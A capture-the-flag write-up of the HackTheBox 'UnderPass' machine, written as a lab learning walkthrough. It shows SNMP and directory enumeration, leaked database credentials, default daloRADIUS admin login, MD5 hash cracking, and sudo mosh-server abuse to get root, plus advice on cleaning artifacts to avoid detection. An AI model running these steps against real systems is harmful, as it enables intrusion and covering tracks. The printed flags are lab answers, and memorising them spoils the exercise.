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HackTheBox UnderPass

Writeup for HackTheBox UnderPass

Posted Updated
By Edwin Tok
5 min read
HackTheBox UnderPass

Machine Synopsis

Key exploitation techniques:

  • SNMP enumeration for host and service discovery
  • Directory brute-forcing to uncover exposed Docker configurations
  • Default credential exploitation in daloradius
  • MD5 hash cracking
  • sudo permission abuse on mosh-server

Enumeration

An nmap TCP scan identified SSH (22/tcp) and HTTP (80/tcp) running Apache.

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❯ nmap -sC -sV -A 10.129.70.81

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_  256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.52 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

A subsequent UDP scan revealed an open SNMP service on port 161.

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❯ nmap -sU 10.129.70.81

PORT     STATE         SERVICE
68/udp   open|filtered dhcpc
161/udp  open          snmp
1812/udp open|filtered radius
1813/udp open|filtered radacct

The open SNMP port was enumerated using snmpwalk with the common public community string.

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❯ snmpwalk -v2c -c public 10.129.70.81
iso.3.6.1.2.1.1.1.0 = STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
iso.3.6.1.2.1.1.4.0 = STRING: "steve@underpass.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "UnDerPass.htb is the only daloradius server in the basin!"

SNMP output revealed the hostname underpass, an email address steve@underpass.htb, and a critical hint: “UnDerPass.htb is the only daloradius server in the basin!”. This indicated the presence of daloradius, a web-based RADIUS management application.

The hostname was added to /etc/hosts:

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❯ echo -e '10.129.70.81\t\tunderpass.htb' | sudo tee -a /etc/hosts

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❯ curl http://underpass.htb/daloradius/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at underpass.htb Port 80</address>
</body></html>

Accessing http://underpass.htb/daloradius/ directly returned a 403 Forbidden error. Directory brute-forcing was initiated to find accessible paths.

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❯ dirsearch -t 10 -u http://underpass.htb/daloradius/
Target: http://underpass.htb/
200 -  221B  - /daloradius/.gitignore
301 -  323B  - /daloradius/app  ->  http://underpass.htb/daloradius/app/
200 -   24KB - /daloradius/ChangeLog
301 -  323B  - /daloradius/doc  ->  http://underpass.htb/daloradius/doc/
200 -    2KB - /daloradius/Dockerfile
200 -    2KB - /daloradius/docker-compose.yml
301 -  327B  - /daloradius/library  ->  http://underpass.htb/daloradius/library/
200 -   18KB - /daloradius/LICENSE

dirsearch revealed several interesting files and directories, including Dockerfile and docker-compose.yml, which are critical for understanding containerized applications.

The Dockerfile and docker-compose.yml were retrieved and analyzed for credentials and configuration details.

Dockerfile excerpt:

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# Official daloRADIUS Dockerfile
# ...
FROM debian:11-slim
# ...
LABEL Description="daloRADIUS Official Docker based on Debian 11 and PHP7." \
    Version="2.0beta"
# ...

docker-compose.yml excerpt:

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version: "3"

services:
  radius-mysql:
    image: mariadb:10
    container_name: radius-mysql
    environment:
      - MYSQL_DATABASE=radius
      - MYSQL_USER=radius
      - MYSQL_PASSWORD=radiusdbpw
      - MYSQL_ROOT_PASSWORD=radiusrootdbpw
  # ...
  radius:
    # ...
    environment:
      - MYSQL_HOST=radius-mysql
      - MYSQL_PORT=3306
      - MYSQL_DATABASE=radius
      - MYSQL_USER=radius
      - MYSQL_PASSWORD=radiusdbpw
      - DEFAULT_CLIENT_SECRET=testing123 # Critical finding
  # ...
  radius-web:
    # ...
    environment:
      - MYSQL_HOST=radius-mysql
      - MYSQL_PORT=3306
      - MYSQL_DATABASE=radius
      - MYSQL_USER=radius
      - MYSQL_PASSWORD=radiusdbpw
      - DEFAULT_CLIENT_SECRET=testing123 # Critical finding

The docker-compose.yml was a goldmine, revealing several credentials:

  • MYSQL_USER=radius, MYSQL_PASSWORD=radiusdbpw
  • MYSQL_ROOT_PASSWORD=radiusrootdbpw
  • DEFAULT_CLIENT_SECRET=testing123 (for the RADIUS server itself)

daloradius Web Interface Access

feroxbuster on /daloradius/app/ revealed users and operators subdirectories, both leading to login pages.

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❯ feroxbuster -u http://underpass.htb/daloradius/app/ --auto-tune
301      GET        9l       28w      329c http://underpass.htb/daloradius/app/users => http://underpass.htb/daloradius/app/users/
301      GET        9l       28w      333c http://underpass.htb/daloradius/app/operators => http://underpass.htb/daloradius/app/operators/

users_login_page

operators_login_page

Consulting the daloRADIUS GitHub Wiki indicated default credentials of administrator:radius. These credentials successfully granted access to the /operators/ dashboard.

operators_dashboard

Exploitation

Within the daloRADIUS web interface, a password hash for the svcMosh user was discovered.

User Listing & Hash Extraction

The users listing within the operators dashboard showed a hash for svcMosh: 412DD4759978ACFCC81DEAB01B382403.

users_listing

Hash Identification & Cracking

hashcat --identify was used to determine the hash type.

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❯ hashcat --identify svcMosh_hash.txt
The following 11 hash-modes match the structure of your input hash:
    900 | MD4
    0   | MD5
    ...

MD5 was identified as the most probable hash type. The hash was then cracked using hashcat with a common wordlist.

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❯ hashcat -a 0 -m 0 svcMosh_hash.txt /usr/share/wordlists/rockyou.txt
412dd4759978acfcc81deab01b382403:underwaterfriends

The password for svcMosh was underwaterfriends.

SSH access was gained using the cracked credentials.

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❯ ssh svcMosh@underpass.htb
svcMosh@underpass.htb's password: underwaterfriends
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)
# ... (banner info)
svcMosh@underpass:~$ cat user.txt
cc1bdbef3befe655bcf23ec8c19b058e

The user.txt flag was retrieved.

Privilege Escalation: SUID Mosh-Server Abuse

Privilege escalation was attempted by examining svcMosh’s sudo privileges.

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svcMosh@underpass:~$ sudo -l
User svcMosh may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/mosh-server

The svcMosh user could execute /usr/bin/mosh-server as root without a password.

Lets read up more about how to use this mosh-server on the official website.

mosh_server_explanation

mosh-server Exploit Execution

mosh-server can be used to establish a new Mosh session. When executed with sudo, it allows spawning a root shell through the mosh-client by leveraging the MOSH_KEY environment variable for authentication.

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svcMosh@underpass:~$ sudo /usr/bin/mosh-server
MOSH CONNECT 60001 dtpayBkrtNlyd13OFDyOPw # This is the port and key provided by mosh-server
mosh-server (mosh 1.3.2) [build mosh 1.3.2]
# ...
[mosh-server detached, pid = 1955]

From the attacker machine (or another local shell on the target), the mosh-client was used to connect to the root-spawned mosh-server instance.

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# On attacker machine, or local target shell
❯ MOSH_KEY='dtpayBkrtNlyd13OFDyOPw' mosh-client 10.129.70.81 60001
# Alternatively, if connecting from the target machine itself:
# ❯ MOSH_KEY='dtpayBkrtNlyd13OFDyOPw' mosh-client 127.0.0.1 60001

A new terminal session appeared, now with root privileges.

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root@underpass:~# whoami
root
root@underpass:~# cat root.txt
c50917fd3c764028e9e14764aa74d2c2

OPSEC for mosh-server Abuse:

The mosh-server process started by sudo will typically detach and run in the background. For a real engagement, identifying and terminating this root-owned process would be necessary to clean up artifacts and minimize detection.

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  # As root after getting the flag
  root@underpass:~# ps aux | grep mosh-server
  root       1955  0.0  0.0   2712   912 ?        S    12:00   0:00 /usr/bin/mosh-server
  # Kill the mosh-server process
  root@underpass:~# kill 1955

Cleanup

To ensure proper operational security, any artifacts left on the system should be removed. This includes svcMosh_hash.txt and any temporary files created.

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# On attacker machine
❯ rm svcMosh_hash.txt
HackTheBox
linux
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